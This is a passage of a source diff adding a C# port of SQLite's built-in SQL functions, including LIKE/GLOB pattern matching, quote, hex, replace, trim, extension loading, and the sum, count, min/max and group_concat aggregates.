sqlite3Utf8Read(A,C) (*(A++)) +//# define GlogUpperToLower(A) A = sqlite3UpperToLower[A] +#else + //# define GlogUpperToLower(A) if( A<0x80 ){ A = sqlite3UpperToLower[A]; } +#endif + + static compareInfo globInfo = new compareInfo( '*', '?', '[', false ); + /* The correct SQL-92 behavior is for the LIKE operator to ignore + ** case. Thus 'a' LIKE 'A' would be true. */ + static compareInfo likeInfoNorm = new compareInfo( '%', '_', '\0', true ); + /* If SQLITE_CASE_SENSITIVE_LIKE is defined, then the LIKE operator + ** is case sensitive causing 'a' LIKE 'A' to be false */ + static compareInfo likeInfoAlt = new compareInfo( '%', '_', '\0', false ); + + /* + ** Compare two UTF-8 strings for equality where the first string can + ** potentially be a "glob" expression. Return true (1) if they + ** are the same and false (0) if they are different. + ** + ** Globbing rules: + ** + ** '*' Matches any sequence of zero or more characters. + ** + ** '?' Matches exactly one character. + ** + ** [...] Matches one character from the enclosed list of + ** characters. + ** + ** [^...] Matches one character not in the enclosed list. + ** + ** With the [...] and [^...] matching, a ']' character can be included + ** in the list by making it the first character after '[' or '^'. A + ** range of characters can be specified using '-'. Example: + ** "[a-z]" matches any single lower-case letter. To match a '-', make + ** it the last character in the list. + ** + ** This routine is usually quick, but can be N**2 in the worst case. + ** + ** Hints: to match '*' or '?', put them in "[]". Like this: + ** + ** abc[*]xyz Matches "abc*xyz" only + */ + static bool patternCompare( + string zPattern, /* The glob pattern */ + string zString, /* The string to compare against the glob */ + compareInfo pInfo, /* Information about how to do the compare */ + int esc /* The escape character */ + ) + { + int c, c2; + int invert; + int seen; + int matchOne = (int)pInfo.matchOne; + int matchAll = (int)pInfo.matchAll; + int matchSet = (int)pInfo.matchSet; + bool noCase = pInfo.noCase; + bool prevEscape = false; /* True if the previous character was 'escape' */ + string inPattern = zPattern; //Entered Pattern + + while ( ( c = sqlite3Utf8Read( zPattern, ref zPattern ) ) != 0 ) + { + if ( !prevEscape && c == matchAll ) + { + while ( ( c = sqlite3Utf8Read( zPattern, ref zPattern ) ) == matchAll + || c == matchOne ) + { + if ( c == matchOne && sqlite3Utf8Read( zString, ref zString ) == 0 ) + { + return false; + } + } + if ( c == 0 ) + { + return true; + } + else if ( c == esc ) + { + c = sqlite3Utf8Read( zPattern, ref zPattern ); + if ( c == 0 ) + { + return false; + } + } + else if ( c == matchSet ) + { + Debug.Assert( esc == 0 ); /* This is GLOB, not LIKE */ + Debug.Assert( matchSet < 0x80 ); /* '[' is a single-byte character */ + int len = 0; + while ( len < zString.Length && patternCompare( inPattern.Substring( inPattern.Length - zPattern.Length - 1 ), zString.Substring( len ), pInfo, esc ) == false ) + { + SQLITE_SKIP_UTF8( zString, ref len ); + } + return len < zString.Length; + } + while ( ( c2 = sqlite3Utf8Read( zString, ref zString ) ) != 0 ) + { + if ( noCase ) + { + if ( c2 < 0x80 ) c2 = sqlite3UpperToLower[c2]; //GlogUpperToLower(c2); + if ( c < 0x80 ) c = sqlite3UpperToLower[c]; //GlogUpperToLower(c); + while ( c2 != 0 && c2 != c ) + { + c2 = sqlite3Utf8Read( zString, ref zString ); + if ( c2 < 0x80 ) c2 = sqlite3UpperToLower[c2]; //GlogUpperToLower(c2); + } + } + else + { + while ( c2 != 0 && c2 != c ) + { + c2 = sqlite3Utf8Read( zString, ref zString ); + } + } + if ( c2 == 0 ) return false; + if ( patternCompare( zPattern, zString, pInfo, esc ) ) return true; + } + return false; + } + else if ( !prevEscape && c == matchOne ) + { + if ( sqlite3Utf8Read( zString, ref zString ) == 0 ) + { + return false; + } + } + else if ( c == matchSet ) + { + int prior_c = 0; + Debug.Assert( esc == 0 ); /* This only occurs for GLOB, not LIKE */ + seen = 0; + invert = 0; + c = sqlite3Utf8Read( zString, ref zString ); + if ( c == 0 ) return false; + c2 = sqlite3Utf8Read( zPattern, ref zPattern ); + if ( c2 == '^' ) + { + invert = 1; + c2 = sqlite3Utf8Read( zPattern, ref zPattern ); + } + if ( c2 == ']' ) + { + if ( c == ']' ) seen = 1; + c2 = sqlite3Utf8Read( zPattern, ref zPattern ); + } + while ( c2 != 0 && c2 != ']' ) + { + if ( c2 == '-' && zPattern[0] != ']' && zPattern[0] != 0 && prior_c > 0 ) + { + c2 = sqlite3Utf8Read( zPattern, ref zPattern ); + if ( c >= prior_c && c <= c2 ) seen = 1; + prior_c = 0; + } + else + { + if ( c == c2 ) + { + seen = 1; + } + prior_c = c2; + } + c2 = sqlite3Utf8Read( zPattern, ref zPattern ); + } + if ( c2 == 0 || ( seen ^ invert ) == 0 ) + { + return false; + } + } + else if ( esc == c && !prevEscape ) + { + prevEscape = true; + } + else + { + c2 = sqlite3Utf8Read( zString, ref zString ); + if ( noCase ) + { + if ( c < 0x80 ) c = sqlite3UpperToLower[c]; //GlogUpperToLower(c); + if ( c2 < 0x80 ) c2 = sqlite3UpperToLower[c2]; //GlogUpperToLower(c2); + } + if ( c != c2 ) + { + return false; + } + prevEscape = false; + } + } + return zString.Length == 0; + } + + /* + ** Count the number of times that the LIKE operator (or GLOB which is + ** just a variation of LIKE) gets called. This is used for testing + ** only. + */ +#if SQLITE_TEST + //static int sqlite3_like_count = 0; +#endif + + + /* +** Implementation of the like() SQL function. This function implements +** the build-in LIKE operator. The first argument to the function is the +** pattern and the second argument is the string. So, the SQL statements: +** +** A LIKE B +** +** is implemented as like(B,A). +** +** This same function (with a different compareInfo structure) computes +** the GLOB operator. +*/ + static void likeFunc( + sqlite3_context context, + int argc, + sqlite3_value[] argv + ) + { + string zA, zB; + int escape = 0; + int nPat; + sqlite3 db = sqlite3_context_db_handle( context ); + + zB = sqlite3_value_text( argv[0] ); + zA = sqlite3_value_text( argv[1] ); + + /* Limit the length of the LIKE or GLOB pattern to avoid problems + ** of deep recursion and N*N behavior in patternCompare(). + */ + nPat = sqlite3_value_bytes( argv[0] ); + testcase( nPat == db.aLimit[SQLITE_LIMIT_LIKE_PATTERN_LENGTH] ); + testcase( nPat == db.aLimit[SQLITE_LIMIT_LIKE_PATTERN_LENGTH] + 1 ); + if ( nPat > db.aLimit[SQLITE_LIMIT_LIKE_PATTERN_LENGTH] ) + { + sqlite3_result_error( context, "LIKE or GLOB pattern too complex", -1 ); + return; + } + //Debug.Assert( zB == sqlite3_value_text( argv[0] ) ); /* Encoding did not change */ + + if ( argc == 3 ) + { + /* The escape character string must consist of a single UTF-8 character. + ** Otherwise, return an error. + */ + string zEsc = sqlite3_value_text( argv[2] ); + if ( zEsc == null ) return; + if ( sqlite3Utf8CharLen( zEsc, -1 ) != 1 ) + { + sqlite3_result_error( context, + "ESCAPE expression must be a single character", -1 ); + return; + } + escape = sqlite3Utf8Read( zEsc, ref zEsc ); + } + if ( zA != null && zB != null ) + { + compareInfo pInfo = (compareInfo)sqlite3_user_data( context ); +#if SQLITE_TEST + sqlite3_like_count.iValue++; +#endif + sqlite3_result_int( context, patternCompare( zB, zA, pInfo, escape ) ? 1 : 0 ); + } + } + + /* + ** Implementation of the NULLIF(x,y) function. The result is the first + ** argument if the arguments are different. The result is NULL if the + ** arguments are equal to each other. + */ + static void nullifFunc( + sqlite3_context context, + int NotUsed, + sqlite3_value[] argv + ) + { + CollSeq pColl = sqlite3GetFuncCollSeq( context ); + UNUSED_PARAMETER( NotUsed ); + if ( sqlite3MemCompare( argv[0], argv[1], pColl ) != 0 ) + { + sqlite3_result_value( context, argv[0] ); + } + } + + /* + ** Implementation of the VERSION(*) function. The result is the version + ** of the SQLite library that is running. + */ + static void versionFunc( + sqlite3_context context, + int NotUsed, + sqlite3_value[] NotUsed2 + ) + { + UNUSED_PARAMETER2( NotUsed, NotUsed2 ); + sqlite3_result_text( context, sqlite3_version, -1, SQLITE_STATIC ); + } + + /* Array for converting from half-bytes (nybbles) into ASCII hex + ** digits. */ + static char[] hexdigits = new char[] { +'0', '1', '2', '3', '4', '5', '6', '7', +'8', '9', 'A', 'B', 'C', 'D', 'E', 'F' +}; + + /* + ** EXPERIMENTAL - This is not an official function. The interface may + ** change. This function may disappear. Do not write code that depends + ** on this function. + ** + ** Implementation of the QUOTE() function. This function takes a single + ** argument. If the argument is numeric, the return value is the same as + ** the argument. If the argument is NULL, the return value is the string + ** "NULL". Otherwise, the argument is enclosed in single quotes with + ** single-quote escapes. + */ + static void quoteFunc( + sqlite3_context context, + int argc, + sqlite3_value[] argv + ) + { + Debug.Assert( argc == 1 ); + UNUSED_PARAMETER( argc ); + + switch ( sqlite3_value_type( argv[0] ) ) + { + case SQLITE_INTEGER: + case SQLITE_FLOAT: + { + sqlite3_result_value( context, argv[0] ); + break; + } + case SQLITE_BLOB: + { + StringBuilder zText; + byte[] zBlob = sqlite3_value_blob( argv[0] ); + int nBlob = sqlite3_value_bytes( argv[0] ); + Debug.Assert( zBlob.Length == sqlite3_value_blob( argv[0] ).Length ); /* No encoding change */ + zText = new StringBuilder( 2 * nBlob + 4 );//(char*)contextMalloc(context, (2*(i64)nBlob)+4); + zText.Append( "X'" ); + if ( zText != null ) + { + int i; + for ( i = 0 ; i < nBlob ; i++ ) + { + zText.Append( hexdigits[( zBlob[i] >> 4 ) & 0x0F] ); + zText.Append( hexdigits[( zBlob[i] ) & 0x0F] ); + } + zText.Append( "'" ); + //zText[( nBlob * 2 ) + 2] = '\''; + //zText[( nBlob * 2 ) + 3] = '\0'; + //zText[0] = 'X'; + //zText[1] = '\''; + sqlite3_result_text( context, zText.ToString(), -1, SQLITE_TRANSIENT ); + //sqlite3_free( ref zText ); + } + break; + } + case SQLITE_TEXT: + { + int i, j; + int n; + string zArg = sqlite3_value_text( argv[0] ); + StringBuilder z; + + if ( zArg == null || zArg.Length == 0 ) return; + for ( i = 0, n = 0 ; i < zArg.Length ; i++ ) { if ( zArg[i] == '\'' ) n++; } + z = new StringBuilder( i + n + 3 );// contextMalloc(context, ((i64)i)+((i64)n)+3); + if ( z != null ) + { + z.Append( '\'' ); + for ( i = 0, j = 1 ; i < zArg.Length && zArg[i] != 0 ; i++ ) + { + z.Append( (char)zArg[i] ); j++; + if ( zArg[i] == '\'' ) + { + z.Append( '\'' ); j++; + } + } + z.Append( '\'' ); j++; + //z[j] = '\0'; ; + sqlite3_result_text(context, z.ToString(), j, null);//sqlite3_free ); + } + break; + } + default: + { + Debug.Assert( sqlite3_value_type( argv[0] ) == SQLITE_NULL ); + sqlite3_result_text( context, "NULL", 4, SQLITE_STATIC ); + break; + } + } + } + + /* + ** The hex() function. Interpret the argument as a blob. Return + ** a hexadecimal rendering as text. + */ + static void hexFunc( + sqlite3_context context, + int argc, + sqlite3_value[] argv + ) + { + int i, n; + byte[] pBlob; + //string zHex, z; + Debug.Assert( argc == 1 ); + UNUSED_PARAMETER( argc ); + pBlob = sqlite3_value_blob( argv[0] ); + n = sqlite3_value_bytes( argv[0] ); + Debug.Assert( n == pBlob.Length ); /* No encoding change */ + StringBuilder zHex = new StringBuilder( n * 2 + 1 ); + // z = zHex = contextMalloc(context, ((i64)n)*2 + 1); + if ( zHex != null ) + { + for ( i = 0 ; i < n ; i++ ) + {//, pBlob++){ + byte c = pBlob[i]; + zHex.Append( hexdigits[( c >> 4 ) & 0xf] ); + zHex.Append( hexdigits[c & 0xf] ); + } + sqlite3_result_text(context, zHex.ToString(), n * 2, null); //sqlite3_free ); + } + } + + /* + ** The zeroblob(N) function returns a zero-filled blob of size N bytes. + */ + static void zeroblobFunc( + sqlite3_context context, + int argc, + sqlite3_value[] argv + ) + { + i64 n; + sqlite3 db = sqlite3_context_db_handle( context ); + Debug.Assert( argc == 1 ); + UNUSED_PARAMETER( argc ); + n = sqlite3_value_int64( argv[0] ); + testcase( n == db.aLimit[SQLITE_LIMIT_LENGTH] ); + testcase( n == db.aLimit[SQLITE_LIMIT_LENGTH] + 1 ); + if ( n > db.aLimit[SQLITE_LIMIT_LENGTH] ) + { + sqlite3_result_error_toobig( context ); + } + else + { + sqlite3_result_zeroblob( context, (int)n ); + } + } + + /* + ** The replace() function. Three arguments are all strings: call + ** them A, B, and C. The result is also a string which is derived + ** from A by replacing every occurance of B with C. The match + ** must be exact. Collating sequences are not used. + */ + static void replaceFunc( + sqlite3_context context, + int argc, + sqlite3_value[] argv + ) + { + string zStr; /* The input string A */ + string zPattern; /* The pattern string B */ + string zRep; /* The replacement string C */ + string zOut; /* The output */ + int nStr; /* Size of zStr */ + int nPattern; /* Size of zPattern */ + int nRep; /* Size of zRep */ + int nOut; /* Maximum size of zOut */ + //int loopLimit; /* Last zStr[] that might match zPattern[] */ + int i, j; /* Loop counters */ + + Debug.Assert( argc == 3 ); + UNUSED_PARAMETER( argc ); + zStr = sqlite3_value_text( argv[0] ); + if ( zStr == null ) return; + nStr = sqlite3_value_bytes( argv[0] ); + Debug.Assert( zStr == sqlite3_value_text( argv[0] ) ); /* No encoding change */ + zPattern = sqlite3_value_text( argv[1] ); + if ( zPattern == null ) + { + Debug.Assert( sqlite3_value_type( argv[1] ) == SQLITE_NULL + //|| sqlite3_context_db_handle( context ).mallocFailed != 0 + ); + return; + } + if ( zPattern == "" ) + { + Debug.Assert( sqlite3_value_type( argv[1] ) != SQLITE_NULL ); + sqlite3_result_value( context, argv[0] ); + return; + } + nPattern = sqlite3_value_bytes( argv[1] ); + Debug.Assert( zPattern == sqlite3_value_text( argv[1] ) ); /* No encoding change */ + zRep = sqlite3_value_text( argv[2] ); + if ( zRep == null ) return; + nRep = sqlite3_value_bytes( argv[2] ); + Debug.Assert( zRep == sqlite3_value_text( argv[2] ) ); + nOut = nStr + 1; + Debug.Assert( nOut < SQLITE_MAX_LENGTH ); + //zOut = contextMalloc(context, (i64)nOut); + //if( zOut==0 ){ + // return; + //} + //loopLimit = nStr - nPattern; + //for(i=j=0; i<=loopLimit; i++){ + // if( zStr[i]!=zPattern[0] || memcmp(&zStr[i], zPattern, nPattern) ){ + // zOut[j++] = zStr[i]; + // }else{ + // u8 *zOld; + // sqlite3 db = sqlite3_context_db_handle( context ); + // nOut += nRep - nPattern; + //testcase( nOut-1==db->aLimit[SQLITE_LIMIT_LENGTH] ); + //testcase( nOut-2==db->aLimit[SQLITE_LIMIT_LENGTH] ); + //if( nOut-1>db->aLimit[SQLITE_LIMIT_LENGTH] ){ + // sqlite3_result_error_toobig(context); + // //sqlite3DbFree(db,ref zOut); + // return; + // } + // zOld = zOut; + // zOut = sqlite3_realloc(zOut, (int)nOut); + // if( zOut==0 ){ + // sqlite3_result_error_nomem(context); + // //sqlite3DbFree(db,ref zOld); + // return; + // } + // memcpy(&zOut[j], zRep, nRep); + // j += nRep; + // i += nPattern-1; + // } + //} + //Debug.Assert( j+nStr-i+1==nOut ); + //memcpy(&zOut[j], zStr[i], nStr-i); + //j += nStr - i; + //Debug.Assert( j<=nOut ); + //zOut[j] = 0; + zOut = zStr.Replace( zPattern, zRep ); + j = zOut.Length; + sqlite3_result_text(context, zOut, j, null);//sqlite3_free ); + } + + /* + ** Implementation of the TRIM(), LTRIM(), and RTRIM() functions. + ** The userdata is 0x1 for left trim, 0x2 for right trim, 0x3 for both. + */ + static void trimFunc( + sqlite3_context context, + int argc, + sqlite3_value[] argv + ) + { + string zIn; /* Input string */ + string zCharSet; /* Set of characters to trim */ + int nIn; /* Number of bytes in input */ + int izIn = 0; /* C# string pointer */ + int flags; /* 1: trimleft 2: trimright 3: trim */ + int i; /* Loop counter */ + int[] aLen = null; /* Length of each character in zCharSet */ + byte[][] azChar = null; /* Individual characters in zCharSet */ + int nChar = 0; /* Number of characters in zCharSet */ + byte[] zBytes = null; + byte[] zBlob = null; + + if ( sqlite3_value_type( argv[0] ) == SQLITE_NULL ) + { + return; + } + zIn = sqlite3_value_text( argv[0] ); + if ( zIn == null ) return; + nIn = sqlite3_value_bytes( argv[0] ); + zBlob = sqlite3_value_blob( argv[0] ); + //Debug.Assert( zIn == sqlite3_value_text( argv[0] ) ); + if ( argc == 1 ) + { + int[] lenOne = new int[] { 1 }; + byte[] azOne = new byte[] { (u8)' ' };//static unsigned char * const azOne[] = { (u8*)" " }; + nChar = 1; + aLen = lenOne; + azChar = new byte[1][]; + azChar[0] = azOne; + zCharSet = null; + } + else if ( ( zCharSet = sqlite3_value_text( argv[1] ) ) == null ) + { + return; + } + else + { + zBytes = sqlite3_value_blob( argv[1] ); + int iz = 0; + for ( nChar = 0 ; iz < zBytes.Length ; nChar++ ) + { + SQLITE_SKIP_UTF8( zBytes, ref iz ); + } + if ( nChar > 0 ) + { + azChar = new byte[nChar][];//contextMalloc(context, ((i64)nChar)*(sizeof(char*)+1)); + if ( azChar == null ) + { + return; + } + aLen = new int[nChar]; + + int iz0 = 0; + int iz1 = 0; + for ( int ii = 0 ; ii < nChar ; ii++ ) + { + SQLITE_SKIP_UTF8( zBytes, ref iz1 ); + aLen[ii] = iz1 - iz0; + azChar[ii] = new byte[aLen[ii]]; + Buffer.BlockCopy( zBytes, iz0, azChar[ii], 0, azChar[ii].Length ); + iz0 = iz1; + } + } + } + if ( nChar > 0 ) + { + flags = (int)sqlite3_user_data( context ); // flags = SQLITE_PTR_TO_INT(sqlite3_user_data(context)); + if ( ( flags & 1 ) != 0 ) + { + while ( nIn > 0 ) + { + int len = 0; + for ( i = 0 ; i < nChar ; i++ ) + { + len = aLen[i]; + if ( len <= nIn && memcmp( zBlob, izIn, azChar[i], len ) == 0 ) break; + } + if ( i >= nChar ) break; + izIn += len; + nIn -= len; + } + } + if ( ( flags & 2 ) != 0 ) + { + while ( nIn > 0 ) + { + int len = 0; + for ( i = 0 ; i < nChar ; i++ ) + { + len = aLen[i]; + if ( len <= nIn && memcmp( zBlob, izIn + nIn - len, azChar[i], len ) == 0 ) break; + } + if ( i >= nChar ) break; + nIn -= len; + } + } + if ( zCharSet != null ) + { + //sqlite3_free( ref azChar ); + } + } + StringBuilder sb = new StringBuilder( nIn ); + for ( i = 0 ; i < nIn ; i++ ) sb.Append( (char)zBlob[izIn + i] ); + sqlite3_result_text( context, sb.ToString(), nIn, SQLITE_TRANSIENT ); + } + +#if SQLITE_SOUNDEX +/* +** Compute the soundex encoding of a word. +*/ +static void soundexFunc( +sqlite3_context context, +int argc, +sqlite3_value[] argv +) +{ +Debug.Assert(false); // TODO -- func_c +char zResult[8]; +const u8 *zIn; +int i, j; +static const unsigned char iCode[] = { +0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, +0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, +0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, +0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, +0, 0, 1, 2, 3, 0, 1, 2, 0, 0, 2, 2, 4, 5, 5, 0, +1, 2, 6, 2, 3, 0, 1, 0, 2, 0, 2, 0, 0, 0, 0, 0, +0, 0, 1, 2, 3, 0, 1, 2, 0, 0, 2, 2, 4, 5, 5, 0, +1, 2, 6, 2, 3, 0, 1, 0, 2, 0, 2, 0, 0, 0, 0, 0, +}; +Debug.Assert( argc==1 ); +zIn = (u8*)sqlite3_value_text(argv[0]); +if( zIn==0 ) zIn = (u8*)""; +for(i=0; zIn[i] && !sqlite3Isalpha(zIn[i]); i++){} +if( zIn[i] ){ +u8 prevcode = iCode[zIn[i]&0x7f]; +zResult[0] = sqlite3Toupper(zIn[i]); +for(j=1; j<4 && zIn[i]; i++){ +int code = iCode[zIn[i]&0x7f]; +if( code>0 ){ +if( code!=prevcode ){ +prevcode = code; +zResult[j++] = code + '0'; +} +}else{ +prevcode = 0; +} +} +while( j<4 ){ +zResult[j++] = '0'; +} +zResult[j] = 0; +sqlite3_result_text(context, zResult, 4, SQLITE_TRANSIENT); +}else{ +sqlite3_result_text(context, "?000", 4, SQLITE_STATIC); +} +} +#endif + +#if ! SQLITE_OMIT_LOAD_EXTENSION + /* +** A function that loads a shared-library extension then returns NULL. +*/ + static void loadExt( + sqlite3_context context, + int argc, + sqlite3_value[] argv + ) + { + string zFile = sqlite3_value_text( argv[0] ); + string zProc; + sqlite3 db = (sqlite3)sqlite3_context_db_handle( context ); + string zErrMsg = ""; + + if ( argc == 2 ) + { + zProc = sqlite3_value_text( argv[1] ); + } + else + { + zProc = ""; + } + if ( zFile != null && sqlite3_load_extension( db, zFile, zProc, ref zErrMsg ) != 0 ) + { + sqlite3_result_error( context, zErrMsg, -1 ); + //sqlite3DbFree( db, ref zErrMsg ); + } + } +#endif + + /* +** An instance of the following structure holds the context of a +** sum() or avg() aggregate computation. +*/ + //typedef struct SumCtx SumCtx; + public class SumCtx + { + public double rSum; /* Floating point sum */ + public i64 iSum; /* Integer sum */ + public i64 cnt; /* Number of elements summed */ + public int overflow; /* True if integer overflow seen */ + public bool approx; /* True if non-integer value was input to the sum */ + public Mem _M; + public Mem Context + { + get { return _M; } + set + { + _M = value; + if ( _M == null || _M.z == null ) + iSum = 0; + else iSum = Convert.ToInt64( _M.z ); + } + } + }; + + /* + ** Routines used to compute the sum, average, and total. + ** + ** The SUM() function follows the (broken) SQL standard which means + ** that it returns NULL if it sums over no inputs. TOTAL returns + ** 0.0 in that case. In addition, TOTAL always returns a float where + ** SUM might return an integer if it never encounters a floating point + ** value. TOTAL never fails, but SUM might through an exception if + ** it overflows an integer. + */ + static void sumStep( + sqlite3_context context, + int argc, + sqlite3_value[] argv + ) + { + SumCtx p; + + int type; + Debug.Assert( argc == 1 ); + UNUSED_PARAMETER( argc ); + Mem pMem = sqlite3_aggregate_context( context, -1 );//sizeof(*p)); + if ( pMem._SumCtx == null ) pMem._SumCtx = new SumCtx(); + p = pMem._SumCtx; + if ( p.Context == null ) p.Context = pMem; + type = sqlite3_value_numeric_type( argv[0] ); + if ( p != null && type != SQLITE_NULL ) + { + p.cnt++; + if ( type == SQLITE_INTEGER ) + { + i64 v = sqlite3_value_int64( argv[0] ); + p.rSum += v; + if ( !( p.approx | p.overflow != 0 ) ) + { + i64 iNewSum = p.iSum + v; + int s1 = (int)( p.iSum >> ( sizeof( i64 ) * 8 - 1 ) ); + int s2 = (int)( v >> ( sizeof( i64 ) * 8 - 1 ) ); + int s3 = (int)( iNewSum >> ( sizeof( i64 ) * 8 - 1 ) ); + p.overflow = ( ( s1 & s2 & ~s3 ) | ( ~s1 & ~s2 & s3 ) ) != 0 ? 1 : 0; + p.iSum = iNewSum; + } + } + else + { + p.rSum += sqlite3_value_double( argv[0] ); + p.approx = true; + } + } + } + static void sumFinalize( sqlite3_context context ) + { + SumCtx p = null; + Mem pMem = sqlite3_aggregate_context( context, 0 ); + if ( pMem != null ) p = pMem._SumCtx; + if ( p != null && p.cnt > 0 ) + { + if ( p.overflow != 0 ) + { + sqlite3_result_error( context, "integer overflow", -1 ); + } + else if ( p.approx ) + { + sqlite3_result_double( context, p.rSum ); + } + else + { + sqlite3_result_int64( context, p.iSum ); + } + } + } + + static void avgFinalize( sqlite3_context context ) + { + SumCtx p = null; + Mem pMem = sqlite3_aggregate_context( context, 0 ); + if ( pMem != null ) p = pMem._SumCtx; + if ( p != null && p.cnt > 0 ) + { + sqlite3_result_double( context, p.rSum / (double)p.cnt ); + } + } + + static void totalFinalize( sqlite3_context context ) + { + SumCtx p = null; + Mem pMem = sqlite3_aggregate_context( context, 0 ); + if ( pMem != null ) p = pMem._SumCtx; + /* (double)0 In case of SQLITE_OMIT_FLOATING_POINT... */ + sqlite3_result_double( context, p != null ? p.rSum : (double)0 ); + } + + /* + ** The following structure keeps track of state information for the + ** count() aggregate function. + */ + //typedef struct CountCtx CountCtx; + public class CountCtx + { + i64 _n; + Mem _M; + public Mem Context + { + get { return _M; } + set + { + _M = value; + if ( _M == null || _M.z == null ) + _n = 0; + else _n = Convert.ToInt64( _M.z ); + } + } + public i64 n + { + get { return _n; } + set + { + _n = value; + if ( _M != null ) _M.z = _n.ToString(); + } + } + } + + /* + ** Routines to implement the count() aggregate function. + */ + static void countStep( + sqlite3_context context, + int argc, + sqlite3_value[] argv + ) + { + CountCtx p = new CountCtx(); + p.Context = sqlite3_aggregate_context( context, -1 );//sizeof(*p)); + if ( ( argc == 0 || SQLITE_NULL != sqlite3_value_type( argv[0] ) ) && p.Context != null ) + { + p.n++; + } +#if !SQLITE_OMIT_DEPRECATED + /* The sqlite3_aggregate_count() function is deprecated. But just to make +** sure it still operates correctly, verify that its count agrees with our +** internal count when using count(*) and when the total count can be +** expressed as a 32-bit integer. */ + Debug.Assert( argc == 1 || p == null || p.n > 0x7fffffff + || p.n == sqlite3_aggregate_count( context ) ); +#endif + } + + static void countFinalize( sqlite3_context context ) + { + CountCtx p = new CountCtx(); + p.Context = sqlite3_aggregate_context( context, 0 ); + sqlite3_result_int64( context, p != null ? p.n : 0 ); + } + + /* + ** Routines to implement min() and max() aggregate functions. + */ + static void minmaxStep( + sqlite3_context context, + int NotUsed, + sqlite3_value[] argv + ) + { + Mem pArg = (Mem)argv[0]; + Mem pBest; + UNUSED_PARAMETER( NotUsed ); + + if ( sqlite3_value_type( argv[0] ) == SQLITE_NULL ) return; + pBest = (Mem)sqlite3_aggregate_context( context, -1 );//sizeof(*pBest)); + if ( pBest == null ) return; + + if ( pBest.flags != 0 ) + { + bool max; + int cmp; + CollSeq pColl = sqlite3GetFuncCollSeq( context ); + /* This step function is used for both the min() and max() aggregates, + ** the only difference between the two being that the sense of the + ** comparison is inverted. For the max() aggregate, the + ** sqlite3_context_db_handle() function returns (void *)-1. For min() it + ** returns (void *)db, where db is the sqlite3* database pointer. + ** Therefore the next statement sets variable 'max' to 1 for the max() + ** aggregate, or 0 for min(). + */ + max = sqlite3_context_db_handle( context ) != null && (int)sqlite3_user_data( context ) != 0; + cmp = sqlite3MemCompare( pBest, pArg, pColl ); + if ( ( max && cmp < 0 ) || ( !max && cmp > 0 ) ) + { + sqlite3VdbeMemCopy( pBest, pArg ); + } + } + else + { + sqlite3VdbeMemCopy( pBest, pArg ); + } + } + + static void minMaxFinalize( sqlite3_context context ) + { + sqlite3_value pRes; + pRes = (sqlite3_value)sqlite3_aggregate_context( context, 0 ); + if ( pRes != null ) + { + if ( ALWAYS( pRes.flags != 0 ) ) + { + sqlite3_result_value( context, pRes ); + } + sqlite3VdbeMemRelease( pRes ); + } + } + + /* + ** group_concat(EXPR, ?SEPARATOR?) + */ + static void groupConcatStep( + sqlite3_context context, + int argc, + sqlite3_value[] argv + ) + { + string zVal; + StrAccum pAccum; + string zSep; + int nVal, nSep; + Debug.Assert( argc == 1 || argc == 2 ); + if ( sqlite3_value_type( argv[0] ) == SQLITE_NULL ) return; + Mem pMem = sqlite3_aggregate_context( context, -1 );//sizeof(*pAccum)); + if ( pMem._StrAccum == null ) pMem._StrAccum = new StrAccum(); + pAccum = pMem._StrAccum; + if ( pAccum.Context == null ) pAccum.Context = pMem; + if ( pAccum != null ) + { + sqlite3 db = sqlite3_context_db_handle( context ); + int firstTerm = pAccum.useMalloc == 0 ? 1 : 0; + pAccum.useMalloc = 1; + pAccum.mxAlloc = db.aLimit[SQLITE_LIMIT_LENGTH]; + if ( 0 == firstTerm ) + { + if ( argc == 2 ) + { + zSep = sqlite3_value_text( argv[1] ); + nSep = sqlite3_value_bytes( argv[1] ); + } + else + { + zSep = ","; + nSep = 1; + } + sqlite3StrAccumAppend( pAccum, zSep, nSep ); + } + zVal = sqlite3_value_text( argv[0] ); + nVal = sqlite3_value_bytes( argv[0] ); + sqlite3StrAccumAppend( pAccum, zVal, nVal ); + } + } + + static void groupConcatFinalize( sqlite3_context context ) + { + StrAccum pAccum = null; + Mem pMem = sqlite3_aggregate_context( context, 0 ); + if ( pMem != null ) + { + if ( pMem._StrAccum == null ) pMem._StrAccum = new StrAccum(); + pAccum = pMem._StrAccum; + } + if ( pAccum != null ) + { + if ( pAccum.tooBig != 0 ) + { + sqlite3_result_error_toobig( context ); + } + //else if ( pAccum.mallocFailed != 0 ) + //{ + // sqlite3_result_error_nomem( context ); + //} + else + { + sqlite3_result_text( context, sqlite3StrAccumFinish( pAccum ), -1, + null); //sqlite3_free ); + } + } + } + + /* + ** This function registered all of the above C functions as SQL + ** functions. This should be the only routine in this file with + ** external linkage. + */ + public struct sFuncs + { + public string zName; + public sbyte nArg; + public u8 argType; /* 1: 0, 2: 1, 3: 2,... N: N-1. */ + public u8 eTextRep; /* 1: UTF-16. 0: UTF-8 */ + public u8 needCollSeq; + public dxFunc xFunc; //(sqlite3_context*,int,sqlite3_value **); + + // Constructor + public sFuncs( string zName, sbyte nArg, u8 argType, u8 eTextRep, u8 needCollSeq, dxFunc xFunc ) + { + this.zName = zName; + this.nArg = nArg; + this.argType = argType; + this.eTextRep = eTextRep; + this.needCollSeq = needCollSeq; + this.xFunc = xFunc; + } + }; + + public struct sAggs + { + public string zName; + public sbyte nArg; + public u8 argType; + public u8 needCollSeq; + public dxStep xStep; //(sqlite3_context*,int,sqlite3_value**); + public dxFinal xFinalize; //(sqlite3_context*); + // Constructor + public sAggs( string zName, sbyte nArg, u8 argType, u8 needCollSeq, dxStep xStep, dxFinal xFinalize ) + { + this.zName = zName; + this.nArg = nArg; + this.argType = argType; + this.needCollSeq = needCollSeq; + this.xStep = xStep; + this.xFinalize = xFinalize; + } + } + static void sqlite3RegisterBuiltinFunctions( sqlite3 db ) + { +#if !SQLITE_OMIT_ALTERTABLE + sqlite3AlterFunctions( db ); +#endif + ////if ( 0 == db.mallocFailed ) + { + int rc = sqlite3_overload_function( db, "MATCH", 2 ); + Debug.Assert( rc == SQLITE_NOMEM || rc == SQLITE_OK ); + if ( rc == SQLITE_NOMEM ) + { + //// db.mallocFailed = 1; + } + } + } + + /* + ** Set the LIKEOPT flag on the 2-argument function with the given name. + */ + static void setLikeOptFlag( sqlite3 db, string zName, int flagVal ) + { + FuncDef pDef; + pDef = 